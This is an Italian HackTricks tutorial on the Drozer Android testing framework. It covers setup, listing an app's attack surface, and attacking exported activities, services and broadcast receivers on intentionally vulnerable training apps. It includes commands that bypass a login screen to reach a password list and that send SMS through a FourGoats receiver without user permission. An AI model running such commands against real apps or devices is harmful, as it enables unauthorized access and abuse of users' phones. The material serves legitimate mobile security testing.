Drozer Tutorial

Reading time: 8 minutes

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

APKs da testare

Parte di questo tutorial è stata estratta dalla documentazione pdf di Drozer.

Installazione

Installa il client Drozer all'interno del tuo host. Scaricalo dalle ultime versioni.

bash
pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
pip install service_identity

Scarica e installa l'APK di drozer dalle ultime versioni. In questo momento è questo.

bash
adb install drozer.apk

Avviare il Server

Agent è in esecuzione sulla porta 31415, dobbiamo port forward per stabilire la comunicazione tra il Drozer Client e l'Agent, qui c'è il comando per farlo:

bash
adb forward tcp:31415 tcp:31415

Infine, lancia l'applicazione e premi il pulsante "ON"

E connettiti ad essa:

bash
drozer console connect

Comandi Interessanti

ComandiDescrizione
Help MODULEMostra l'aiuto del modulo selezionato
listMostra un elenco di tutti i moduli drozer che possono essere eseguiti nella sessione corrente. Questo nasconde i moduli per cui non hai le autorizzazioni appropriate per eseguire.
shellAvvia una shell Linux interattiva sul dispositivo, nel contesto dell'Agente.
cleanRimuove i file temporanei memorizzati da drozer sul dispositivo Android.
loadCarica un file contenente comandi drozer ed eseguili in sequenza.
moduleTrova e installa moduli drozer aggiuntivi da Internet.
unsetRimuove una variabile nominata che drozer passa a qualsiasi shell Linux che genera.
setMemorizza un valore in una variabile che sarà passato come variabile ambientale a qualsiasi shell Linux generata da drozer.
shellAvvia una shell Linux interattiva sul dispositivo, nel contesto dell'Agente
run MODULEEsegue un modulo drozer
exploitDrozer può creare exploit da eseguire nel dispositivo. drozer exploit list
payloadGli exploit necessitano di un payload. drozer payload list

Pacchetto

Trova il nome del pacchetto filtrando per parte del nome:

bash
dz> run app.package.list -f sieve
com.mwr.example.sieve

Informazioni di base del pacchetto:

bash
dz> run app.package.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Process Name: com.mwr.example.sieve
Version: 1.0
Data Directory: /data/data/com.mwr.example.sieve
APK Path: /data/app/com.mwr.example.sieve-2.apk
UID: 10056
GID: [1028, 1015, 3003]
Shared Libraries: null
Shared User ID: null
Uses Permissions:
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- android.permission.INTERNET
Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS

Leggi Manifest:

bash
run app.package.manifest jakhar.aseem.diva

Superficie di attacco del pacchetto:

bash
dz> run app.package.attacksurface com.mwr.example.sieve
Attack Surface:
3 activities exported
0 broadcast receivers exported
2 content providers exported
2 services exported
is debuggable
  • Attività: Forse puoi avviare un'attività e bypassare qualche tipo di autorizzazione che dovrebbe impedirti di lanciarla.
  • Fornitori di contenuti: Forse puoi accedere a dati privati o sfruttare qualche vulnerabilità (SQL Injection o Path Traversal).
  • Servizi:
  • è debuggabile: Scopri di più

Attività

Il valore “android:exported” di un componente attività esportato è impostato su “true” nel file AndroidManifest.xml:

markup
<activity android:name="com.my.app.Initial" android:exported="true">
</activity>

Elenca le attività esportate:

bash
dz> run app.activity.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.FileSelectActivity
com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList

Inizia attività:

Forse puoi avviare un'attività e bypassare qualche tipo di autorizzazione che dovrebbe impedirti di lanciarla.

bash
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

Puoi anche avviare un'attività esportata da adb:

  • PackageName è com.example.demo
  • Exported ActivityName è com.example.test.MainActivity
bash
adb shell am start -n com.example.demo/com.example.test.MainActivity

Content Providers

Questo post era troppo grande per essere qui, quindi puoi accederci nella sua pagina dedicata qui.

Services

Un servizio esportato è dichiarato all'interno del Manifest.xml:

markup
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>

All'interno del codice controlla la funzione handleMessage che riceverà il messaggio:

Elenco dei servizi

bash
dz> run app.service.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
com.mwr.example.sieve.AuthService
Permission: null
com.mwr.example.sieve.CryptoService
Permission: null

Interagire con un servizio

bash
app.service.send            Send a Message to a service, and display the reply
app.service.start           Start Service
app.service.stop            Stop Service

Esempio

Dai un'occhiata all'aiuto di drozer per app.service.send:

Nota che invierai prima i dati all'interno di "msg.what", poi "msg.arg1" e "msg.arg2", dovresti controllare all'interno del codice quale informazione viene utilizzata e dove.
Utilizzando l'opzione --extra puoi inviare qualcosa interpretato da "msg.replyTo", e usando --bundle-as-obj crei un oggetto con i dettagli forniti.

Nell'esempio seguente:

  • what == 2354
  • arg1 == 9234
  • arg2 == 1
  • replyTo == object(string com.mwr.example.sieve.PIN 1337)
bash
run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra string com.mwr.example.sieve.PIN 1337 --bundle-as-obj

Broadcast Receivers

Nella sezione delle informazioni di base di Android puoi vedere cos'è un Broadcast Receiver.

Dopo aver scoperto questi Broadcast Receivers dovresti controllare il codice di essi. Presta particolare attenzione alla funzione onReceive in quanto gestirà i messaggi ricevuti.

Rileva tutti i broadcast receivers

bash
run app.broadcast.info #Detects all

Controlla i broadcast receiver di un'app

bash
#Check one negative
run app.broadcast.info -a jakhar.aseem.diva
Package: jakhar.aseem.diva
No matching receivers.

# Check one positive
run app.broadcast.info -a com.google.android.youtube
Package: com.google.android.youtube
com.google.android.libraries.youtube.player.PlayerUiModule$LegacyMediaButtonIntentReceiver
Permission: null
com.google.android.apps.youtube.app.common.notification.GcmBroadcastReceiver
Permission: com.google.android.c2dm.permission.SEND
com.google.android.apps.youtube.app.PackageReplacedReceiver
Permission: null
com.google.android.libraries.youtube.account.AccountsChangedReceiver
Permission: null
com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver
Permission: null

Broadcast Interazioni

bash
app.broadcast.info          Get information about broadcast receivers
app.broadcast.send          Send broadcast using an intent
app.broadcast.sniff         Register a broadcast receiver that can sniff particular intents

Invia un messaggio

In questo esempio, abusando del FourGoats apk Content Provider, puoi inviare un SMS arbitrario a qualsiasi destinazione non premium senza chiedere il permesso all'utente.

Se leggi il codice, i parametri "phoneNumber" e "message" devono essere inviati al Content Provider.

bash
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!"

È debuggeable

Un APK di produzione non dovrebbe mai essere debuggeable.
Questo significa che puoi attaccare un debugger java all'applicazione in esecuzione, ispezionarla in tempo reale, impostare punti di interruzione, procedere passo dopo passo, raccogliere valori delle variabili e persino modificarli. InfoSec institute ha un ottimo articolo su come approfondire quando la tua applicazione è debuggeable e iniettare codice in tempo di esecuzione.

Quando un'applicazione è debuggeable, apparirà nel Manifest:

xml
<application theme="@2131296387" debuggable="true"

Puoi trovare tutte le applicazioni debuggeable con Drozer:

bash
run app.package.debuggable

Tutorials

More info

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks